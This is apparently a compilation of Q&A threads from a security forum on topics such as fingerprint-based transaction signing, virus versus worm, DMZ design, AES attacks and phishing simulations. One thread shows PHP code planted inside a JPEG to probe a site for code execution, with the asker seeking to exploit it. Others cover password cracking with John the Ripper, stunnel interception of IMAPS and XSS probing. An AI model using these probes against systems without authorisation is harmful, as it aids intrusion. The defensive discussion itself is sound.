How reliable is using Fingerprint sensor (iPhone/Android) for identity approval? What I'm trying to achieve is a confirmation of transaction (not payment) with a fingerprint sensor. Pretty much like Google does in its Play store:

Chose a product, click pay
Approve your choice with a fingerprint scan

What I feel is that Google uses this only on the client side, without any confirmation on the backend that fingerprint was really asked by the app.

In my case, it's required to provide a proof to the backend that the fingerprint was really asked. To do so I:

Gen key pair
Enroll a public key to the backend
Write a private key to the secure key storage and bind it to the fingerprint

so that next time I need a transaction approval I:

Ask a user to provide a fingerprint, receive a private key
Sign the transaction with the private key
Validate tx with the public key on the backend

But here comes two ideas why it may be not secure:

The client (android/ios) application can be altered to JMP around fingerprint call and don't bind a key to the fingerprint at all.
Fingerprint & key storage can be emulated e.g. in Android VD

In both cases, the backend will have no idea the fingerprint call was walked around as it's just validating the data by signature.

I'm by no means a mobile platform (security) expert and I'm trying to figure out whether those attacks are really valid/likely to occur and is it somehow possible to protect against them?

The client can fake the whole process, but not authentication. This means that even if the device is stolen and the lock-screen password is compromised, the attacker cannot retrieve the key from keystore, and cannot perform a purchase in the name of the original (registered) owner. Same if the device is rooted (with or without the end-user's consent).

In the latter case, though, the following scenario is still possible: the end-user does confirm a transaction with fingerprint, but the attacker could have mangled the transaction, e.g. the end-user believes that he approved a $10 purchase, while actually it is $100. Or the end-user wants to have the product sent to her home address, but actually the transaction lists a different address.

As for the first, and most realistic threat: it should not be a big concern to you, and if it is, your model should be revised. If you have a fake user who choses to fake his authentication, he can as easily confirm a transaction with a true fingerprint, or with a fake fingerprint.

Probably one use case attack that may be mitigated on the server side: fake fingerprint transactions may come at much higher frequency, and originate from different devices. So, if you consider this attack, you can rise a flag when the same user account produces very fast purchases, and/or uses many devices simultaneously.


Intrusion Detected - OS Attack I have recently gotten a prompt from my anti virus stating that there was an intrusion with an OS attack as describe in the link below:

http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20443

It seems that it isn't the first time occurring and it happens sometimes when I use my mobile 3G stick to connect myself to the Internet.

I am quite worried if there were to be any compromise and I do not really understand what the page in the link was saying.

Could someone help me out and let me know what should I do?

Note: I am running windows 7 32bit.

The page lists the affected systems and your windows 7 32bit is not included:

Affected
Avaya DefinityOne Media Servers
Avaya IP600 Media Servers
Avaya S3400 Message Application Server
Avaya S8100 Media Servers
Microsoft Windows 2000 Advanced Server SP1, SP2, SP3, SP4
Microsoft Windows 2000 Datacenter Server SP1, SP2, SP3, SP4
Microsoft Windows 2000 Professional SP1, SP2, SP3, SP4
Microsoft Windows 2000 Server SP1, SP2, SP3, SP4
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows Server 2003 Datacenter Edition Itanium
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Enterprise Edition Itanium
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Web Edition
Microsoft Windows XP 64-bit Edition SP1
Microsoft Windows XP 64-bit Edition Version 2003 SP1
Microsoft Windows XP Home SP1
Microsoft Windows XP Professional SP1

Your "protection software" is showing you that someone is trying to attack you but since your system is not vulnerable but this attack you can simple ignore it.

In my opinion the software is crap. It should not bother you with this.


I login to Stackoverflow (vulnerable) with Google (not vulnerable). Do I need to change my password? According to this heartbleed mass test, Stack Overflow is vulnerable whereas google is not.

I use my Google ID to logon to Stack Overflow (and some other sites).  Do I need to change my password?  In other words, is it the account that determines safety, or the service used?

Yes as your password which is supposed to be encrypted with SSL tsl is readable in plain text and if you use the same password for both web applications (you shouldn't be anyway) an attacker has access to both.. However if you use googles openID to log in it goes through googles servers and you would be secure


Can there be any vulnerability in the code which is rendering images in PHP? There is a website which takes the user image as the input and processes it and then store it in some directory. I can't see the directory, all i can see in the src attribute of img tag is the name of the php file which is rendering that image.

<img src="rendering-image.php">

Furthermore after uploading image, the website shows the image on the webpage and when I type www.site.com/rendering-image.php.
It gives me all the raw data of image (not the displayable image).
I inserted some PHP code in between the raw data so that I can manipulate the filters, but it's not working.
The PHP code I entered for testing was

<?php $n3=2+2; echo $n3;?>

After inserting it in the raw data of image, my jpg image raw data looked something like this

        ÿØÿà JFIFHHÿápExifMM*;nÒ‡iæ<?php
$n3=2+2; echo $n3;?>¢£–hàŒÉ4‰/VvÀ‰®sQñ•¬ Œfå¿ç¡;#Sø...

I was expecting some answer as the result of PHP execution but I didn't get any answer.

So what's actually happening here?
Is there any vulnerability here?
If it is then how can I exploit it?

There could be any vulnerability anywhere, but there is no evidence of one here. Here is what happens:

you browser sends a request for a page to a server
the server sends an HTML page containing a reference for an image ()
the browser analyses the HTML page (eventually begins to display it) and sees that it needs to ask for an image at URL original_page_URL/rendering-image.php
the browser sends a new request at that URL, problably saying that it wants an image
the server sends back the data of the image and declares in the HTTP headers the type of the image
the browser expects an image, reads the response, finds the type of the image, gets its data and displays it

The problem when you directly write the URL in your browser, is that browsers often use the extension part to guess the type of the response, and here it wrongly guesses that php should return text. But other things could happen here:

as the browser has no idea of what is rendering-image.php, it could declare that it want text/html data
the server obeys and declare to also send text, but still sends the image data

You should use a tool like wireshark to get the headers of the request and response to know exactly what has happened.


Blocking people from taking pictures of me with smartphone This question might be better suited for Skeptics, but I guess that those who can really answer this might hang around here.

In the second episode of the fourth season of the french spy series The Bureau (see around 0:36 in this clip), one hacker (A) demonstrated how when someone else (B) is taking a picture of him with a smartphone, the picture is not captured and instead a message "Do not do that motherf...!" is shown.

A claims that it works thanks to an app that he has on his own smartphone, interacting with B's smartphone to prevent it from taking pictures.

My question is if this really is doable. Of course if A previously hacked B's phone then there is nothing particularly special about it, but could this be achieved so that no random person showing app can take a picture of A with their smartphone?

tl;dr

No, this completely falls within the realms of fiction!

The longer explanation

For something like this to work, Alice would need to find an exploit in the camera of Bob, which would then prevent Bob from taking a picture. The only ways of Alice to exploit Bob's camera is for her to send some kind of information to it.

Possible ways for her to do this would either be via what the camera "sees" or via some other channel (Bluetooth, Ad-Hoc Wi-Fi, etc.).

The first way is, to be frank, absolutely nuts. There are exploits related to images and specific image formats, but all those exploit the specifications of how image files are read, rather than the pixels on it.

As far as Bluetooth or Wi-Fi goes, this is a little bit more believable, but just barely above "Zoom and Enhance". If Alice could connect to Bob's phone via Bluetooth, there may be an exploit she could use that would disable the camera app.

However, if Bob used a dedicated camera instead of his phone, then Alice is out of luck and her picture will be taken.

How could I protect myself from having my picture taken?

There are, however, creative ways to hide yourself from cameras. After all, reality can be so much cooler than fiction if you get a bit creative.

Infrared LEDs emit infrared light. This light is not visible to our eyes, but to cameras. This difference is something that hackers can exploit.

By attaching many, high-powered infrared LEDs to your clothing in a way that they shine on your face (e.g. through LED strips on the inside of your hoodie, on your baseball cap, etc.), your face will receive much more light than the surroundings, causing your face to be extremely overexposed.

This will probably stop security cameras, since they will try to set their exposure in a way that most of the picture (i.e. your surroundings) are illuminated correctly.

Somebody taking pictures manually of you may be able to set the exposure correctly, showing your face, but making the rest of the picture very dark. With some clever image manipulation tricks, and multiple pictures taken at different exposure levels, you can be shown in your surroundings, even with such LEDs in place.

Cool, can I see how that looks like?

Here you can see a picture of glasses with just a few LEDs:

Attribution: Tokyo National Institute of Informatics

The two pictures on the top are with the LEDs turned off. This is how a person would see it. The green frame shows that a camera has detected a face.

The two pictures down below show the LEDs turned on. It's much harder to detect details of the person, but it's still doable, especially if you have some reference image. The camera, in this case, failed to identify a person.

With more and/or stronger LEDs, the effect will be much stronger.

Here is also a video, showing them in action with a typical webcam. Again, with some reference, a person is still identifiable.

What about the downsides to this?

Before you go online and order a 500 pack of infrared LED strips, there are some downsides to this technique.

A battery or some other power source is required. This may be the least of your worries, since LEDs don't draw that much power, but running around with a 9v in your pocket may become annoying.
You don't see if it's not working. Unless you regularly take selfies of your overexposed face, you don't know if your security system has failed.
Since you quite literally look like a shining ball of light on pictures, people reviewing security camera footage will probably start investigating why Jesus is casually walking through the mall. It does attract unwanted attention, is what I am trying to say.
You depend on your clothing. Depending on where you go, it might not be feasible to wear clothing close to your face, such as a swimming pool. You may be able to wear a baseball cap, but then you run into the problem of a power source.


How is a worm different from a virus? In spite of various online articles, I'm a bit unclear on the distinction between a "worm" and a "virus".

Two related questions--

Is there a useful and clear distinction here or no? If so, what is it?
If there is a meaningful distinction, are virus scanners just as effective for defending against worms as they are for viruses in general? or are there other policies and safeguards not included in virus scanners that are useful to employ for defending against worms specifically?

The difference is mostly a matter of historical tradition.

Biologically, a virus is a piece of RNA. RNA is an intermediary vessel for genetic code, which temporarily duplicates a piece of the DNA (the permanent storage of genetic information in a cell). RNA then goes through some "engines" which can duplicate it and/or convert it into proteins (genetic code is really blueprints for proteins). Proteins are the active molecules which do all the work to keep a cell "alive". The virus is sufficiently small to enter some cells, where it hijacks the replicator engine, which makes other copies of the virus, by which the attack spreads. The adverse effect of the virus comes from the fact that while the replicator is busy with photocopying the virus, it does not process the "normal" RNA which comes from the cell's own genetic code. Protein production is thus slowed down or stopped altogether, and the cell ceases to function properly (or at all). Effects on the host body depend on what kind of cells are affected, and how much it hijacks the replicators. So the virus is not a living organism by itself (the question of whether a virus can be considered to be "alive" is hotly debated, and not very meaningful in the same time).

On the other hand, a worm is a fully-defined pluricellular organism, which does not interact in any way with the host genetic code and mechanism; the worm just sits there and feeds on local cells. The worm is quite definitely alive and distinct from the host, which, from the worm point of view, is mostly home and feeding ground. The worm also replicates itself, but since this is a living organism, such replication is called "reproduction".

In computers, some software pieces are called "virus" and "worm" as an analogy which, like all analogies, breaks down when you looked at it too closely. The "replicator engine" alluded to above, is considered as somehow equivalent to normal program execution. Under normal operational conditions, computers execute programs by reading executable files into memory, and ordering the CPU to consider that data as a sequence of instructions which are to be interpreted right away. A computer virus is a piece of code which hijacks normal execution by inserting its own code somewhere in that sequence of instructions. The analogy stops there, because while a biological virus just uses an RNA replication mechanism which is already in place and totally genuine, the computer virus must do its own replication, i.e. looking for other executable files to copy its own code in them. A virus may be harmful through this replication mechanism, depending on whether its forceful insertion in executable files damages them or not (a careful virus will move around the original instructions so that they still get executed; a careless virus replaces the original instructions, thus affecting the executable primary functionality). A virus may also be harmful by doing other tasks than mere replication (that's the "payload" and it can be quite nasty).

A computer worm is a piece of software which, when executed, tries to replicate itself through the network. The worm uses a few known security holes to force remote machines to execute some arbitrary code, and in the case of a worm, that arbitrary code is the worm code itself. So we have the traditional distinction: a virus replicates itself by modifying executable files (found, by essence, "locally") while a worm replicates itself through network-exploitable security holes. However, a worm which runs on a given machine will often, beyond its replication-through-network job, take steps to become "permanent", so that it will run again regularly, even if the host machine is rebooted. Permanency is achieved by inserting the worm code into some executable files; so, most worms are also virus.

This leads us to a second definition: a worm is a virus which can also replicate itself through a network, using remotely exploitable security holes, whereas a plain virus is limited to executable files.

Virus and worms where thus named because when such things began to be common place (around 1985-1990, when home computers became widespread and used floppy disks, and Internet exceeded a few hundred hosts), program execution on a basic computer was not happening "by itself": the user had to type something or click on something to launch a new executable. So the spread of a virus could be paused by getting your hands off the keyboard, whereas a worm had the seemingly magical property of happening by itself. Nowadays, the most basic PC will spawn hundreds of new processes transparently, many of them on an automatic and regular basis, so a virus will also replicate in a seemingly autonomous way, blurring the operational distinction between virus and worm.

The Trojan Horse is a big hollow wooden horse filled with ill-intentioned Greek warriors, and happens not to be Trojan at all -- it was Achaean, built against the Trojans. The cornerstone of the story (as reported in the Odyssey) is that the Trojans pulled the horse within the walls of Troy themselves, a military feat which the Achaeans had unsuccessfully tried to achieve for the ten preceding years. In computers, the expression "Trojan Horse" was applied to the case of a malicious executable which a target user launches himself consciously, lured by some advertised seemingly benign functionality of the executable. Trojans believed that the horse was an offering to the gods of the sea, hence imbued with religious and esthetic goodies.

So, what of a piece of software which, when executed, finds local executable files to copy itself, and also sends itself by email to random other people under a cunning guise ("this is your tax form, fill it ASAP or you will get fined"; or "have a peek at this screensaver full of photos of Natalie Portman"), to lure them into clicking on the attached executable file, thereby executing its contents ?

This is a virus, since it copies itself into local executable files. This is a worm, since it replicates itself through the network (the remotely exploitable hole being the combination of the user, who has little awareness of security issues, and his mail reader application, which happily runs executable files with only the flimsiest of guardrails). This is a Trojan Horse since it exploits user gullibility and lures him into launching malicious code.

Hence, the distinction between virus, worm and Trojan Horse is not absolute and has become quite fuzzy in recent years. The terminology does not offer practical information anymore.


Hash algorithm without ASIC's I want to design a new crypto-currency, with an algorithm which is different from SHA-256 or Scrypt.

But in order to do this, I need to know the hash algorithm which is the hardest to make specialized ASIC's or FPGA's for.

First, is it difficult to make an ASIC for SHA-512? I head that it uses 64-bit operations, so it could be hard to make specialized processors. But does a SHA-512 ASIC already exist?

Second, if SHA-512 is not good, is there another algorithm which CPU's or GPU's are good at, but FPGA/ASIC's are not?

Second, if SHA-512 is not good, is there another algorithm which CPU's or GPU's are good at, but FPGA/ASIC's are not?

Yes there is. This particular algorithm is called scrypt which is why scrypt is highly recommended as a password hashing algorithm in the first place.

Also, designing a new cryptocurrency. Not a good idea when you don't even have rudimentary knowledge of cryptography.


How are these transaction fingerprints colored? For those unfamiliar, blockchains have two main types of data structures propagated in their networks: blocks and transactions. Each block and transaction has a hash, just like key fingerprints. The following block explorer called Blockchair uses colored representations of sha256 hashes. What method is used to do this?

Example transaction hash

I've seen similar things like the Drunken Bishop cipher used by SSH, as well as the blockies identicon library used by some Ethereum GUI clients (which uses original Keccak-spec public key/contract hashes).

At closer examination, it seems that the most recent blocks start with three black boxes. Real Bitcoin mainnet block hashes are of very high difficulty to mine, and contain around 18 zeroes in the beginning. This leads me to believe that the first boxes correspond to color code #000000, or black, while the rest of the hash is grouped into triplets of 3 bytes and colored as that hex code. There are 4 left out hex digits (2 bytes, one on each side), as a 32 byte hash is not evenly divisible in 3.

Due to the avalanche effect observed by all modern cryptographic CRHFs, and the fact that the using color technically omits no information (although it might be hard to distinguish #000000 from #010101 visually, it's hard to find near-collisions due to this effect), this seems to be a clever way of representing transaction and block hashes, and may also work well on public key fingerprints. It's much easier to visually verify a few color swatches compared to dozens of hex digits (unless you're colorblind). In the case of colorblindness, a grayscale system of low to high brightness would also work.


Shrewsoft VPN client calling home? I received a notification from my firewall software that Shrewsoft's latest VPN client (version 2.2.2, released 2013-07-01) appears to be calling home. The ipseca.exe file included with the client is attempting to make an https connection from local port 63467 to remote port 443 at www.shrew.net (38.97.5.129).

Note that this connection request comes after starting the GUI VPN connection manager, but before attempting to open the VPN link.

Why would this be? Why would Shrewsoft's server need to be involved in establishing a VPN connection?

The only logical reasons I can think of why software would do this is to determine if a newer version is available or if to see if the license is valid.

By intercepting the traffic with Fiddler or Burp Suite you should be able to determine why it is calling home and what kind of information is submitted.

  Why would this be? Why would Shrewsoft's server need to be involved in establishing a VPN connection?

I doubt it is required to be involved in establishing a VPN connection, especially since you mentioned the connection is created when starting the application.


"fake" phishing mails from CST I work in the computer security team of my company and my team leader ask me to send "fake" phishing mails to my colleagues. The mails intended to lure them into clicking on the embedded links (the links lead to an informative webpage on phishing).

I am a bit puzzled to try to trap my colleagues. Is it ethically acceptable to trap my colleagues? Is it legal (for French laws for instance)?

Thank you

The general term for having your own people take the role of the "bad guys" in order to improve quality is Red Team, and every company that is serious about security does it. But there are a few rules to follow:

Keep it professional
These are company-sponsored attacks; the company is the target, not the individual. Do not attempt to collect personal data, passwords, or secrets.
Keep the lawyers in the loop
Your legal counsel is there to keep everything above-board and prevent things from getting out-of-hand and causing legal trouble. They set the rules, you follow those rules, everybody stays safe.
Run post-mortem analyses on successful attacks
The whole point is to make your company safer by finding and fixing weaknesses. If the attack that worked last week works again next week, then you haven't made progress. It's time to stop what you're doing and fix the problems. (NB: Your problems are your processes, not your people.)
Shaming your employees doesn't help
Pointing out the employee who clicked the phishing email this week does not prevent employees from falling for phishing. Even the most vigilant user can be fooled; it's human nature. You need to equip your users with sufficient technical controls and safeguards to help compensate for human fallibility.
Make it a positive experience
Recognize people for doing the right thing, not for doing the wrong thing. Competition can be helpful in keeping a topic present in people's minds, but you want recognition to center around success not failure.
Get everyone involved
Some of the most successful Red Team operations allow normal users to periodically rotate through the program and attack their co-workers in a safe and supervised environment. Getting a chance to be the attacker helps users better understand and appreciate the security measures that they have to live with. Further, if everyone is used to fending off and reporting attacks, it's much harder for a real attacker to go unnoticed.


Are COMET installations immune to "Slow TCP Reading" DoS on Windows? (Such as SignalR or WebSync) My understanding is that COMET implementations of WebSync and SignalR do not directly use IIS and are a few layers lower on the ISO model.

After reading Qualys's blog regarding slow TCP reading, I was wondering if this had any effect on COMET implementations since some are already using "long polling", websockets, or perhaps some other technique?

Are COMET (or reverse AJAX) installations not vulnerable to this class of attack by design?

WebSync runs directly on top of the IIS/.NET stack, and so it relies on the Windows/IIS kernel to process TCP/HTTP for both long-polling and WebSocket transports. I believe SignalR does this as well.


Is creating a network bridge in order to connect a virtual machine to the internet insecure? I have created a virtual machine using Hyper-V running OpenSUSE 13.2. In order to get an Internet connection on the virtual OS I created an external virtual switch. Windows 8.1 then automatically creates a network bridge between my WiFi adapter and the vEthernet (External Virtual Switch).

According to a warning on this Microsoft website, this is a bad idea:

  Warning

  You shouldn't create a bridge between an Internet connection and a
  network connection because it creates an unprotected link between your
  network and the Internet, which makes your network accessible to
  anyone on the Internet.

Is this indeed insecure and if so, is there an alternative method to ensure the virtual machine has an Internet connection while being secure?

To be honest, as far as information security is concerned, any device connected to the Internet is vulnerable.

Microsoft is correct in saying so. Imagine a scenario where you have multiple internal network nodes that communicate only internally. You decide to open up just one port on one node in the network to freely communicate with the external internet. This puts your entire internal network in jeopardy. Imagine if a hacker could gain access to the one "open" machine and infect your internal nodes, escalate privileges and gain complete control over the network. Big risk. So you see, any sort of insecure communication between two networks leaves in open to attacks. In your case, your "virtual network" is at risk since you have now configured an 'external bridge' that  allows your  "open" hyper-visor to communicate with your "virtual network". So an attacker can tunnel thru your hyper-visor or attack those machines directly if the attacker finds a way.

Unfortunately, "bridges" are the only way to channel IP traffic from your visor to your virtual machines. Securing these bridges forms an incredibly important part of your security policy. Strong policies with port security mechanisms can help mitigate your risks.


Sniffing IMAPS traffic! Are there any tools for this? I've got a problem where someone has implemented a custom IMAP Server.
I need to write a custom application to get a list of emails, and fetch messages.
Problem is, every library I've tried to use fails with exceptions - BAD commands, etc.
But using thunderbird, it retrieves the list of messages and can fetch messages.
I would like to see what thunderbird is transmitting to make it work...
The problem is, that this IMAP server is actually SSL secured so I can't just use wireshark to see the commands being sent.

I've tried to use thunderbird's logging mechanism, except its so verbose, and it looks like some of the commands are getting truncated - still can't make it work from these commands.

I've also tried to use sslh and sslstrip, but it seems these tools only work for HTTPS.

I've tried all day but still can't work it out! Aaaaghh!

How can I please find a way to log the requests and responses in an IMAPS session?

The answer is stunnel! Fantastic! So to make this work.....

In the config file make a new section:

 [imaps-server]
 client = yes
 accept = 127.0.0.1:143
 connect = sslencryptedimapserver.com:993

Open thunderbird, change the account to standard IMAP without SSL and change the host server to localhost
Log with wireshark and you'll be able to see the commands!


Is a straight URL echo XSS unusable in a modern environment? So I've been doing a red team exercise and one internal app echos back Cannot find /whatever/your/path. Since this is not a PHP or even fully featured web server there is no magical automatic decoding so if you send in /%00%0d%25/stuff you'll get Cannot find /%00%0d%25/stuff

The issue is that every single browser in recent history either automatically encodes < or > or is intelligent enough to not render the non-HTML page (since there's no HTML tags it interprets the string into a renderable context) as HTML. I've tested every browser that we currently have in operation and not a single one has generated an XSS condition because they either correctly encoded the URL and any parameters or escaped the non-HTML document so that it can be rendered as seemingly plaintext.

Am I right to assume that unless combined with another far more significant vulnerability this is unexploitable unless you happen to be running Netscape 1.0 or some other equally poor (and unapproved) browser?

Browsers interprets pages as HTML when the HTTP response headers contains "Content-Type: text/html".

If the response contains "Content-Type: text/plain", then the text is interpreted as plain text and the text will be displayed as is, no HTML interpretation will be done to the text.


What's the point of a DMZ if it has access to a DB inside inner network? I understand that you place public facing servers in a DMZ and so if they are compromised, it doesn't compromise the inner network. In order to do so, the outer firewall forwards ports (80 and 443 in my case) to web servers. From this, I understand that opening ports = allowing untrusted traffic to come in.

However, in the case of a two firewalls DMZ, you place a DB server in the inner network because it doesn't need to face the internet (I get that). If one of these web servers needs access to a DB in the inner network, the second firewall will forward a port from this server to the DB. I found that allowing DMZ systems to connect to systems in the LAN is inherently risky. which makes sense.
By forwarding a port to the internal network, doesn't it make the inner network opened to attack if the DMZ gets compromised? If so, what's the point of a DMZ? Is it just to add an extra layer?

I am using a reverse proxy, so my web servers aren't directly accessible from the internet:

Should the reverse proxy be the only server in the DMZ and forward traffic to web servers in the internal network through the second
firewall?
Is it really unsafe to place a database, which has no port forwarded to, as long as the reverse proxy doesn't redirect anything
to it, in the DMZ?

I came across these diagrams which makes the design much clearer. But why isn't the network designed like this?

  *untrusted*         Internet
       |
====Firewall====
       |              DMZ
 Reverse Proxy
       |
====Firewall====
       |              DMZ2
   Webserver
       |
====Firewall====
       |              DMZ3
   DBserver
       |
====Firewall====
       |              Internal Network
   Employees

I guess because it implies a lot of firewalls and it might be unnecessary but where's the middle ground with this design (we can imagine 3 or even 4 separates VLAN for the reverse proxy, DB and/or web servers and LAN)?

              *untrusted*
                   |
      ==========Firewall==========
      |            |             |
Reverse Proxy      |         Employees
          DBserver - Webservers

Thanks in advance!

The main aspects to consider in this case are defense-in-depth and security by design. As you rightly point out, adding layers after layers of firewalls and port forwards does increase complexity but does not defend against attacks on its own.

A successful attack is a function of time and effort, therefore anything can be compromised. Having this in mind requires you to do your threat assessment and consider the impact and likelihood of compromise of every network and every system as well as the collateral damage that arises from it.

Using your example, you use a DMZ to contain lateral movement of attackers in case of a breach. Critically, lateral movement will happen using any network and any protocol that happens to be exploitable or compromisable by leveraging previous attacks. Therefore it makes sense to minimise the scope of connectivity of a server in a DMZ -- this would be your web server.  Your port forwards on the perimeter firewall ensure that the only way to access the web servers from the Internet is via the web server ports, so again you are limiting attack surface from the Internet. In addition, you will want to ensure that the server is securely configured and that no other services are exposed in addition to those that absolutely must be exposed, and if you can, limit them using a host based firewalls to specific IP addresses further from within your network to ensure it is more difficult to be attacked from within the DMZ.

Should the web server require connectivity to a database, which it often does, then rightly so you need it to be able to contact that port. This is not a security weakness, but an operational requirement. You can either have the server on the same DMZ as the web server or in a different one. The latter is more effort but arguable better security. Again considering the database server, you'll want to harden its configuration as much as possible including using host based firewalling. The database should also be configured securely with the web server using multiple accounts with strong passwords (as opposed to using a dba account with a weak password because "it's internal"), etc.

With all this in place, what you end up with is far from being an architecture that is impossible to break into, but it is one that you have made as difficult as you possibly can to attack, compromise and move laterally from.

To compromise the database server (provided the attacker hasn't done this via the database connection on the web server), an attacker would need to somehow compromise the web server first, then proceed to attack the database. The database server needs to be weak enough (or vulnerable) to be compromised too.


Get total, not unique, number of cracked passwords from John the Rippers output? I am giving John the Ripper a file that may contain duplicate hashes, and get output like this:

2g 0:00:00:01  1.600g/s 3.200p/s 3.200c/s 70227C/s 123456789..abc123

Which represents the total number of unique passwords cracked over time. Is there a way to get total number of passwords (which contains duplicate password counts as well) cracked over time from John's output?

"NoLoaderDupeCheck" attribute in the john.conf file is what i was looking for.


Upgrading OpenPGP public key on key servers? What is the best way to upgrade an OpenPGP key that was created 11 years ago? It's 1024-bit and is published on the key server.

I can create a new key, but what's the proper way to update the existing public key on the server?

This question has a duplicate on Super User, where I also provided an answer. As the question is a better fit here and cross-site duplicates are not allowed, I will simply be repeating it here, extending it a little bit.

There is no way to "upgrade" an OpenPGP key. You will have to create a new one, and you will loose your reputation in the web of trust.

Some people I met decided to stick with a RSA 1024 primary key, but use stronger subkeys instead (which is easily possible without losing your reputation in the web of trust), which comes with secure day-to-day use (for encryption/signing documents with your subkeys), but might enable attackers to add and revoke certifications, subkeys and UIDs.

Think about:

Signing your new key with the old one, so others could follow the signatures
Sending a key transition statement to those that signed your old key; some of them might also sign your new one
Getting your new key signed, ie. go to key signing parties
Revoking the old one after some time
Using a seemingly unnecessary large key as primary key and smaller subkeys for day-to-day usage. You will never need the primary key for anything but signing other keys (which is rare) and others verifying your signatures (cheap anyway).


How does a browser tell the difference between an intermediate cert and an end-entity cert? End certs signed by intermediate certs are accepted by browsers as long as the root is in the trusted certs store. My understanding is that an end-entity cert cannot itself sign other certs (or in any case a browser will not accept such certs). If this is the case, then the browser must be able to distinguish an intermediate cert from an end-entity cert. How does it do this? Is there a message in the intermediate cert saying "This is an intermediate cert" (which has been signed by the root cert for validity)?

There are several "flags" in certificates. one of them is for example "I am a CA" flag, another is the "Maximum Certificate chain length".
This last one limits how long a certificate chain may be.

The certificate tools such as openssl will reject signing a certificate with a certificate that does not have the CA flag.

Browsers will stop validating a chain once a non CA certificate is found.

There is no "I am an intermediate" flag, but that status can be infered by being a CA certificate that is signed by someone else.


File encryption on a solid state drive It seems a lot of computers are switching to solid state drives, and one of the downsides of this is that it seems to make encryption of individual files basically useless, because when you encrypt a file, you can't securely get rid of the original (unencrypted) data.  Repeatedly encrypting and decrypting files will result in lots of copies of the encrypted/decrypted files being left on your hard drive for an attacker to pick up.

Encryption of an entire drive is not really a good alternative.  I read this paper that says that the key for whole drive encryption can be recovered from DRAM minutes or even hours after a computer is turned off.  It's much more effective (not to mention efficient) to encrypt individual files that you want to keep secret, but with solid state drives, I'm not sure if that's really possible any more.  Is there any way around this, using solid state drives?

A good alternative to individual files encryption is a crypto container or file vault: a single encrypted file containing a whole file system which you use to keep your secrets. Files inside the container are directly usable, so there is no need to create unencrypted copies.

The "cold boot" technique you mention can be used to attack individually encrypted files as well, so SSDs are not more vulnerable to it compared to HDDs.


Security of AES against known plaintext attack if no IV is used? I understand the the statement that "AES is not currently vulnerable to known-plaintext attack" but I assume that there is an implicit rider in that statement that should be read "when used in an appropriate mode AES is not currently vulnerable to known-plaintext attack".

Note: we do not currently do this and I am just trying to build an argument (if valid) to show why we will continue to not do this....

If we have a database that stores short strings (less than 256 bits). Each plain-text input needs to have the same cipher - this rules out use of nonces or IVs and any chaining that uses multiple blocks other than the two required to store the string.

We assume that an attacker can determine the original plaintext for any given cipher text (for reasons I wont go in to, but it seems like good practice).

In this case, where we have removed some of the additional inputs, and we are left with just the key, the known-plaintext and the known-cipher text: why is AES still safe? What am I missing in my understanding that means the algorithm cannot be reversed?

EDIT: The response from John Deters make it very clear that if the system is available to the attacker then they are able to "fish" for the plain-text:cipher pairs. But I am going to assume that we would notice such activity (i.e. the system logs usage and this cannot be subverted, may be an unsafe assumption but I am comfortable with it for the moment as I want to focus on areas outside of my control).

So I would rephrase the question: Assume we have given away / lost some of the cipher values to an external party who has no access to the system itself. Assume the third party can guess one or more of the plain-text values and associate those with their ciphers.

Are (and if so why) the rest of the ciphers still secure? Why cant the key be calculated and the rest of the ciphers decrypted? Does the whole key need to be determined?

You've described an Electronic Code Book (ECB) system, which is inherently vulnerable regardless of the encryption algorithm used to encrypt the data.  With an ECB system, an attacker doesn't care what cryptographic algorithm is used, he just passes plaintext in to the system, then compares the ciphertext results against the rest of the already encrypted data, looking for a match.  It is irrelevant if the system encrypts the data with AES, DES, uses a SHA-256 hash, or even uses the plaintext as a key to look up a random number from a database.

Conversely, that means that this type of attack reveals virtually no information about the encryption used.  Therefore, it isn't revealing any information that could be used to recover the key.

EDIT:

Based on your comments below, you're interested in what is called an "Adaptive Chosen-Ciphertext Attack", which is where the attacker can obtain the plaintext for any cipher message desired, and use it to attempt to recover information about the key, and then request further information based on what is learned from earlier iterations.  This is the "most powerful" of the family of attacks on cryptographic algorithms.  Encryption algorithms are specifically designed to resist the exact kinds of attack you're describing.

To have mathematical proof that an algorithm is secure against this is to pass an "indistinguishability test".  Given two ciphertext messages and one plaintext message, and the knowledge that the plaintext was encrypted to create one of the two messages, the attacker must not be able to do any better than making a 50/50 guess which encrypted message is associated with the plaintext.  Despite over 20 years of intense research by legions of well-respected cryptographers and mathematicians, no one has demonstrated the ability to attack AES-256 (or even AES-128) in this way.

Plenty of cryptosystems that use AES have been broken, of course, but those are due to other factors:  weakness in protocol designs (the POODLE attack, the BEAST attack, etc.); weaknesses in protocol implementations (the heartbleed attacks, cache-timing attacks, etc.), and weaknesses in implementations that lead to side channel attacks, (the Bouncy Castle timing attacks, differential power analysis, etc.)

The strength of AES (and most block ciphers) comes from cycling the plaintext through "rounds" of encryption.  Each round is where the bits of plaintext are scrambled differently according to the bits of the key.  This scrambled data is then fed back into the scrambling algorithm again and again.  After 10, 12, or 16 rounds of scrambling, the scrambled output is considered encrypted to the point where every single bit is indistinguishable from random data.

A different way to think of it might be to look at a chess board after a game has been played.  Does the final state tell you exactly each move that was used to arrive there?  To a novice, no, but a chess expert could probably figure it out.  So you take that mixed up chess board, leaving all the pieces still on it and add more pieces and play another game on top of the previous one; mixing all the pieces together again and again, and repeat that 9 more times.  Even a grand master chess player can't unwind the final state of the board after all those mixed up games.

Much research has been done using "reduced rounds" attacks on the algorithm, where they deliberately weaken AES by reducing the number of loops to the point at which they can identify bits of the key.  For example, AES-128 normally iterates for 10 rounds, but instead they may iterate only 8 times, and then learn enough about the key so they can beat the indistinguishability test.  But nobody has been able to unwind the full algorithm itself in such a way that they have learned anything about the keys.


How to have Thunderbird include a root certificate? An eMail signed via S/MIME also contains the X.509 certificate chain containing the public key in order to directly verify the signature (assuming its issuing CA is deemed trustworthy). The chain does however by default lack the root CA. How can it be included other than manually attaching its certificate file?

There should be no reason to include the trust anchor (aka "root CA") into a signed email, because if the chain is to have any value for the recipient, then that recipient must already have it. Including the root CA in the email would only induce recipients into grabbing the root CA from the received email and inserting it in their trust store, which is a big security breach, similar to sending your banking coordinates to every phishing attempt you receive.

Distribution of root CA is assumed to be performed "out-of-band" and with a secure medium (for instance, hardcoded in the "Thunderbird" software package which you already assume to be trustworthy, since you let it read and write your emails). Distributing root CA by email strikes me as... less than optimally secure.

